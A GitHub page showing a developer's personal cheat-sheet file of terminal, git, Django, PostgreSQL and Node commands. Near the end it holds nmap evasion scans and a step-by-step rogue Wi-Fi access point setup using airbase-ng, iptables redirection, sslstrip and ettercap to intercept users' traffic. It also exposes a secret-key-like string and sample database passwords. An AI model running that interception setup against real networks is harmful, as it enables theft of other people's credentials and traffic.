-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnotes
More file actions
416 lines (279 loc) · 7.6 KB
/
notes
File metadata and controls
416 lines (279 loc) · 7.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
terminal
https://github.com/bdesham/zenburn-terminal
https://sourceforge.net/projects/djvu/files/latest/download
brew install unrar
unrar x <file>
zsh
http://jakoblaegdsmand.com/en/blog/how-to-get-an-awesome-looking-terminal-on-mac-os-x/
vim
git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim
set splitbelow
set splitright
:PluginInstall
:vs <filename>
:sv <filename>
buffers
:b
:ls
virtualEnvironments
source ~/.virtualenvs/<venv name>
/bin/activate
which python3
mkvirtualenv --python=/usr/local/bin/python3 tb_dev
deactivate
workon <name ve>
pip install Django==1.8.5
pip freeze
cd $VIRTUAL_ENV/bin
django
django-admin.py startproject taskbuster .
python manage.py runserver
python manage.py makemigrations
python manage.py migrate
python manage.py createsuperuser #if needed
python manage.py startpap <name of app one task only!>
pub
import pdb
pdb.set_trace()
n + enter
enter
q - quit
p variable
c- continue
l - list
s -step into
git
07y6%=qea-70!@ayws-&2yj^5f1a6$93isf80az2-tq3@^bmq^
git init . <x_project> folder
git config --global user.name "Your Name"
git config --global user.email you@example.com
git add . (add files to staging area) / git add —-all .
git status
git rm —cached <path of file to remove>
git commit -m <message>
git log
git remote add origin <repository url>
git push -u origin —-all
git push -u origin master
git branch -a
git clone https://github.com/<your-github-username>/my-first-blog.git
git stash
git pull
git stash pop
tree <project>
$ cd my-first-blog
$ virtualenv --python=python3.5 myvenv
source myvenv/bin/activate
pip install django~=1.9.0
python manage.py migrate
python manage.py createsuperuser
coverage
pip install coverage
coverage run —-source=‘.’ manage.py test
coverage report
coverage html
$ python manage.py shell
>>> from django.conf import settings
>>> settings.TEMPLATES
zen of python
python -c 'import this'
homebrew
brew update
brew doctor
brew install postgresql
brew tap homebrew/services
brew services start postgresql
created
psql
psql -h localhost
createdb <project>_db
psql
CREATE ROLE myusername WITH LOGIN PASSWORD 'mypassword';
GRANT ALL PRIVILEGES ON DATABASE taskbuster_db TO myusername;
ALTER USER myusername CREATEDB;
pip3 install django psycopg2
brew services stop postgresql
brew services restart postgresql
brew uninstall postgresql
PostgreSQL
pg_config
sudo find / -name pg_config
export PATH=/Library/PostgreSQL/9.3/bin:$PATH
export PYTHONPATH=$PYTHONPATH:/Users/gsw/.virtualenvs/ve_dev/lib/python3.5/site-packages
from django.contrib.sites.models import Site
Site.objects.all()
pip install python-social-auth
pg_config
which PSQL
CREATE DATASBASE gsw;
CREATE USER myprojectuser WITH PASSWORD 'password';
ALTER USER "gsw" WITH PASSWORD 'gswgsw';
ALTER ROLE gsw SET client_encoding TO 'utf8';
ALTER ROLE gsw SET default_transaction_isolation TO 'read committed';
ALTER ROLE gsw SET timezone TO 'UTC';
GRANT ALL PRIVILEGES ON DATABASE gsw_db TO gsw;
psql -h localhost
python manage.py make migrations
python manage.py migrate
system integrity protection - el capitan
csrutil status
sudo service postgresql restart
SELECT * FROM pg_stat_activity;
postgres=# \c gsw_db gsw
\list
\c <name> \connect
\dt - list tables
Auth:
AUTHENTICATION_BACKENDS = (
# Default backend -- used to login by username in Django admin
"django.contrib.auth.backends.ModelBackend",
# `allauth` specific authentication methods, such as login by e-mail
"allauth.account.auth_backends.AuthenticationBackend",
)
Admin
python manage.py createsuperuser
python manage.py changepassword <user_name>
>>> from django.contrib.auth import authenticate
>>> u = authenticate(username="user", password="pass")
>>> u.is_staff True
>>> u.is_superuser True
u.is_active
Create An App
**(*********
python manage.py startapp <app>
add app to settings INSTALLED_APPS
from django.conf import settings
print (settings.INSTALLED_APPS)
NODE JS
brew install node
brew update
brew update node
node -v
npm
service worker
idb
sw_precache
npm install (main directory not app dir)
npm install --save-dev sw-precache
npm install --global sw-precache
nam install -g gulp
gulp.task('generate-service-worker', function(callback) {
var path = require('path');
var swPrecache = require('sw-precache');
var rootDir = 'app';
swPrecache.write(path.join(rootDir, 'sw.js'), {
staticFileGlobs: [rootDir + '/**/*.{js,html,css,png,jpg,gif}'],
stripPrefix: rootDir
}, callback);
});
gulp generate-service-worker
gulp
simpleHTTPserver
python3 -m http.server
brew
brew update
brew doctor
django_setup
mkdir <project_name>
cd <project_name>
pip install --upgrade pip.
mkvirtualenv sb_dev
django-admin startproject <name> .
django-admin migrate
git init
.gitignore file
git add -A .
git commit -m
git remote add origin <>
python anywhere
git clone https://github.com/frendo/sb_project.git
virtualenv --python=python3.5 <myvenv> mkvirtualenv --python=python3.5 sb_pro
source <myvenv>/bin/activate / workon
pip install django==1.10
python manage.py migrate
python -m venv ve_dev
django_user_agents:
pip install django_user_agents
update settings file
installed apps and middleware
SSL:
on server
openssl req -new -newkey rsa:2048 -nodes -keyout geewatt.pythonanywhere.com.key -out geewatt.pythonanywhere.c
om.csr
namp ipaddress --vv
ifconfig
iwconfig
ping scan
sudo nmap -sP 192.168.0/24
OS and Service detection performed
sudo nmap -sS -A 192.168.0.1
8 byte probe
sudo nmap -f 192.168.0.1
sudo nmap --mtu <multiple of 8> 192.168.0.1
decoy
sudo nmap -D RND:10 192.168.0.1
idle
sudo nmap -sT target
specific port
sudo namp --source-port 54 192.168.0.1
speficic packet length
sudo namp --data-length 25 192.168.0.1
randomize iorder of hosts
sudo nmap --randomize-hosts 192.168.0.1-100
generate random mac address
sudo nmap -sT -PN --spoof-mac 0 192.168.0.1
sudo nmap --badsum 192.168.0.1
nslookup <host name>
nsloopup <ip address>
nmap -oG - 192.168.0.0-255 -p 4439 -vv >> scan.txt
cat scan.txt | grep Up | awk -F " " '{print $2}' > ips.txt
nmap -iL ips.txt -vv
uniscan
ip adrress
uniscan -u www.graemestewartwatt.com
uniscan -u www.graemestewartwatt.com -qweds
dhcp
sudo-apt get install isc-dhcp-server
vim /etc/dhcpd.conf
Authoritative;
Default-lease-time 600;
Max-lease-time 7200;
Subnet 192.168.1.0 netmask 255.255.255.0 {
Option routers 192.168.0.1.1;
Option subnet-mask 255.255.255.0;
Option domain-name "openwifi";
Option domain-name-servers 102.198.1.1;
Range 192.168.1.2 192.168.1.40;
}
nmap
airmon-ng
airmon-ng start <card not on internet>
airbase-ng -c 11 -e openwifi mon0
new terminal
ifconfig at0 192.168.1.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 102.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -p FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REJECT --to-port 10000
dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
sslstrip -f -p -k 10000
new terminal
ettercap -p -u -T -q -i at0
iptables
-N is to create new policy
-I is insert into the policy chain(putting at top)
-J is to jump to policy chain
-L list policy (-n with out name resolution , -v verbose)
-A append to end of policy
-s source ip/host
-d destination ip/host
--dport destination port
--sport sourceport
--dports 0:65535 multiple ports
--src-range/--dst-range 192.168.1.100-192.168.1.200 ip ranges
dd if=/Users/Shared/OS.dmg of=/dev/disk5 bs=1m